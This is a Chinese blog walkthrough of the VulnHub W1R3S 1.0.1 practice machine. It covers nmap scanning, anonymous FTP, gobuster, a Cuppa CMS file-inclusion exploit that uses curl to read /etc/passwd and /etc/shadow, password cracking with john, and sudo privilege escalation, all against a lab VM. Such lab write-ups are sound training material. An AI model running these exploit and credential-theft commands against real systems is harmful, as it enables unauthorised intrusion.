Reference

红队打靶:W1R3S: 1.0.1详细打靶思路(vulnhub)_w1r3s 1.0.1-CSDN博客

「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈。_哔哩哔哩_bilibili

主机发现

靶机选择NAT连接,攻击机kali虚拟机的网络连接方式选择桥接

执行ip a查看kali攻击机的ip

kali的ip为192.168.43.168,所在网段为192.168.43.0/24

使用nmap扫描该网段

1
sudo nmap -sn 192.168.43.0/24

-n指no portscan,不进行端口只进行主机嗅探(ping扫描)

-sn相比于广播查询更可靠(共发送四项数据来嗅探主机),尽量不要使用-sP

在靶机上线之前进行一次扫描,靶机上线之后再扫描一次,对比发现上线的主机,用于确认靶机的ip

将靶机上线后,重新扫描网段

多出的这个IP192.168.43.11即为靶机的IP

端口扫描

粗略扫描

可以建一个文件夹用于保存扫描结果

1
mkdir nmapscan

使用nmap对找到的靶机进行端口扫描

1
sudo nmap --min-rate 10000 -p- 192.168.43.11 -oA nmapscan/ports

--min-rate参数设小一些(10000以内)是为了防止被判定为恶意扫描

-p-即指定扫描全端口

-oA输出nmap的扫描结果到三种不同格式的扫描日志文件中

我们还可以指定探测方法,例如-sS-sT

  1. TCP SYN扫描(-sS):

    这是一种半开放扫描技术,常被称为”隐形扫描“,因为它不会建立一个完整的TCP连接。

    在这种扫描中,Nmap发送一个TCP SYN包(连接请求)到目标端口。如果目标端口是开放的,目标机器会回应一个SYN-ACK包(同意连接)。此时,Nmap 不会发送最后的ACK包来完成三次握手过程,而是发送一个RST包(重置),这样就避免了在目标系统上完成TCP连接的记录。

    这种扫描方法相对不易被防火墙或入侵检测系统所发现。

  2. TCP connect()扫描(-sT):

    这种扫描实际上使用操作系统的connect()函数来尝试打开到目标机器的TCP连接。

    如果端口开放,操作系统完成TCP三次握手过程,并建立一个完整的连接,然后Nmap发送一个RST包来关闭连接。这种扫描方法容易被系统的日志记录及安全系统发现

    当然这种方式探测端口时更加准确,不容易漏扫端口

一共扫描到了4个端口

执行cat nmapscan/ports.xml查看详细扫描结果

当然实际渗透测试过程中,由于目标主机被扫到的端口可能较多,即使是ports.nmap中,扫描结果也会非常繁杂

而我们只希望了解开放的端口,所有可以用grep指令过滤一下输出

1
grep open nmapscan/ports.nmap

当然后续详细信息扫描时,我们可能会经常要用到之前扫到的端口

所以可以通过将扫到的端口整理一下,用逗号分隔后指定为系统变量,方便后续随时调用

1
2
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
echo $ports
  1. awk -F'/' '{print $1}':
    • awk是一个强大的文本处理工具,这里它用来处理通过grep筛选得到的每一行。
    • -F'/'设置字段分隔符为斜杠(/),这意味着awk会将每行数据按照斜杠分割成多个字段。
    • '{print $1}'指示awk打印每行的第一个字段,对于Nmap的输出来说,通常第一个字段是端口号。
  2. paste -sd ',':
    • paste命令用于合并来自标准输入(stdin)的行。
    • -sd ','参数中的-s选项告诉paste将所有输入行串联到一行中,而-d ','设置字段分隔符为逗号(,)。这样,所有从awk输出的端口号都会被合并成一个由逗号分隔的单行字符串。

详细扫描

接下来我们扫描具体的端口服务和操作系统版本等信息

1
sudo nmap -sT -sV -sC -O -p $ports 192.168.43.11 -oA nmapscan/detail
  1. -sV:

    服务版本探测,这个选项让Nmap尝试确定目标端口上运行的应用程序及其版本信息。它通过发送特定的数据包序列到各个端口,然后分析响应来实现。

  2. -sC:

    默认脚本扫描,这相当于执行--script=default。Nmap有一套脚本库(NSE: Nmap Scripting Engine),这些脚本用于执行更广泛的探测,如常见漏洞扫描、额外的服务信息获取等。

  3. -O:

    操作系统检测,通过分析目标主机返回的数据包的特征(如TCP窗口大小、TTL值等),Nmap试图推测目标操作系统的类型和版本。

此时我们就能体会到分阶段扫描的重要性:虽然上面的指令使用了-sV-sC-O等参数探测了较多信息,属于动静很大的攻击了,但是由于上一步我们把端口范围缩小,所以总体而言还是比较隐蔽的。如果一上来就对65536个端口(全端口)进行全面扫描,那么暴露的概率就会非常大

扫出来的详细服务信息如上图,而-O的扫描结果则给了一些系统信息的推测范围

这些端口中的漏洞为我们提供了不同的攻击向量,在攻击时我们可以组合运用,或者在没思路地时候切换攻击向量

UDP扫描

紧接着我们再进行UDP扫描,保证没有遗漏的端口信息。虽然UDP端口暴露的攻击面是比较小的,但在信息搜集阶段就应该搜集较全的信息,当TCP端口没有找到突破口的时候,说不定UDP也是一条路

1
sudo nmap -sU --top-ports 20 192.168.43.11 -oA nmapscan/udp

这里只扫描20个最热门的UDP端口,由于udp的协议优势,扫描速度会非常快

当然UDP扫描得到的端口可以作为备用资源,当无法从TCP端口中找到有用信息时,不妨关注一下开放的UDP端口

漏洞扫描

—script=vuln表示使用nmap中自带的脚本vuln进行漏洞扫描。该脚本会对端口的历史常见漏洞进行扫描探测,如果这一步就能发现可利用的漏洞,对后续的操作会很有启发。

vuln是vulnrability的缩写,这个脚本由官方不断地维护更新。

1
sudo nmap -script=vuln -p $ports 192.168.43.11 -oA nmapscan/vuln

并没有发现更多新漏洞,而提示的DOS攻击在实战中基本不会用到

FTP渗透

使用ftp命令连接到靶机的ftp服务,使用匿名登录,密码为空

image-20240421232023288

此处我们最好先切到二进制模式,这是一个好习惯,防止后续从靶机下载的可执行文件无法执行

执行ls查看目录下的文件

一共三个目录,先进入content查看

存在三个可读文件,我们将其下载下来(使用prompt关闭交互的提示信息)

继续下载其他目录下的文件

1
2
cd ../docs
ls

将该目录下的worktodo.txt文件也下载下来

1
get worktodo.txt

第三个目录

1
2
3
cd ../new-employees
ls
get employee-names

在获得泄漏文件后,FTP服务就可以退出了

一次性查看所有文件cat *.txt

前几个文件提供了两个编码,第二个能一眼看出是base64编码,而第一个则可能是某种哈希值

将第一个编码丢给hash-identifier

提示最有可能是md5编码

丢给在线网站破解https://hashes.com/en/decrypt/hash

明文This is not a password,是无效信息

解码base64

1
echo 'SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==' | base64 –d

仍然是无效信息

看到员工列表,这是较为有用的信息。

针对每个人的名字和职位,我们就可以做针对性的渗透。比方说经理Naomi的权限说不定会更高,Web Design网页设计者可能在web开发中有一些自己的习惯。HR是我们社工的主要对象等等

Web渗透

扫描目录

浏览器访问一下靶机在80端口上开 的web服务

为apache服务器的默认页

使用gobuster进行目录爆破,字典使用kali自带的即可

1
sudo gobuster dir -u http://192.168.43.11 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

观察一下扫描到的目录

存在wordpress目录,所以可能使用了wordpress这个博客CMS

访问一下192.168.43.11/wordpress(Ctrl+左键点击扫描结果会自动打开浏览器),结果跳转到了localhost/wordpress

查看一下administrator目录,成功访问

现在得到的信息分别是wordpressCMS和CuppaCMS

点击administrator页面上的Next按钮,进入安装配置页面

这里数据库名称和密码就设置为R1ck,Emailtest@gmail.com

查看管理员账号的用户名密码提示,提示均为admin

点击下一步,提示管理员用户创建失败

Cuppa CMS

在kali中搜索一下Cuppa CMS可能存在的漏洞

1
searchsploit cuppa

仅存在一条记录,将其下载下来

1
searchsploit cuppa -m 25971

查看漏洞信息

1
cat 25971.txt

该漏洞为远程文件漏洞,漏洞位置为/alerts/alertConfigField.php文件,注入点为urlConfig参数

描述中提示可以进行远程或本地文件包含,同时还能读取非php文件

尝试提供的payload

http://192.168.43.11/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

路径错误,我们重新构造一下,推断该靶机中将cuppa文件夹重命名为administrator

所以构造payloadhttp://192.168.43.11/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

这一次有了回显,不过并没有读取到密钥文件

我们重新审计一下cuppa CMS源码

使用的是post传参,说明该CMS的代码更新过,我们使用curl指令来指定post参数

1
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.43.11/administrator/alerts/alertConfigField.php 

passwd文件里面所有账户的密码都是用x代替的,真正的密码(加密后)放在/etc/shadow中,同样的curl方法,我们改一下参数,查看etc/shadow文件

1
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.43.11/administrator/alerts/alertConfigField.php 

保存到shadow.hash,仅保留密码为哈希值的用户

在vim编辑器中,使用esc模式下的dd指令可以快速删除光标那一行的内容

密码破解

shadow.hash文件丢给john工具来破解

共爆破出两个密码,root的密码爆破了5分钟还没出来,可以放弃

www-data一般是功能性账号,所以我们主要关注w1r3s这个账号

提权

远程ssh连接到w1r3s账户

1
sudo ssh w1r3s@192.168.43.11

输入密码computer,登录成功

查看当前用户是什么系统级权限

1
sudo -l

提示当前用户有全部权限,即当前用户基本就是root账户了

我们启动root的bash会话sudo /bin/bash,提权成功

浏览root目录下的文件

1
ls /root

找到flag文件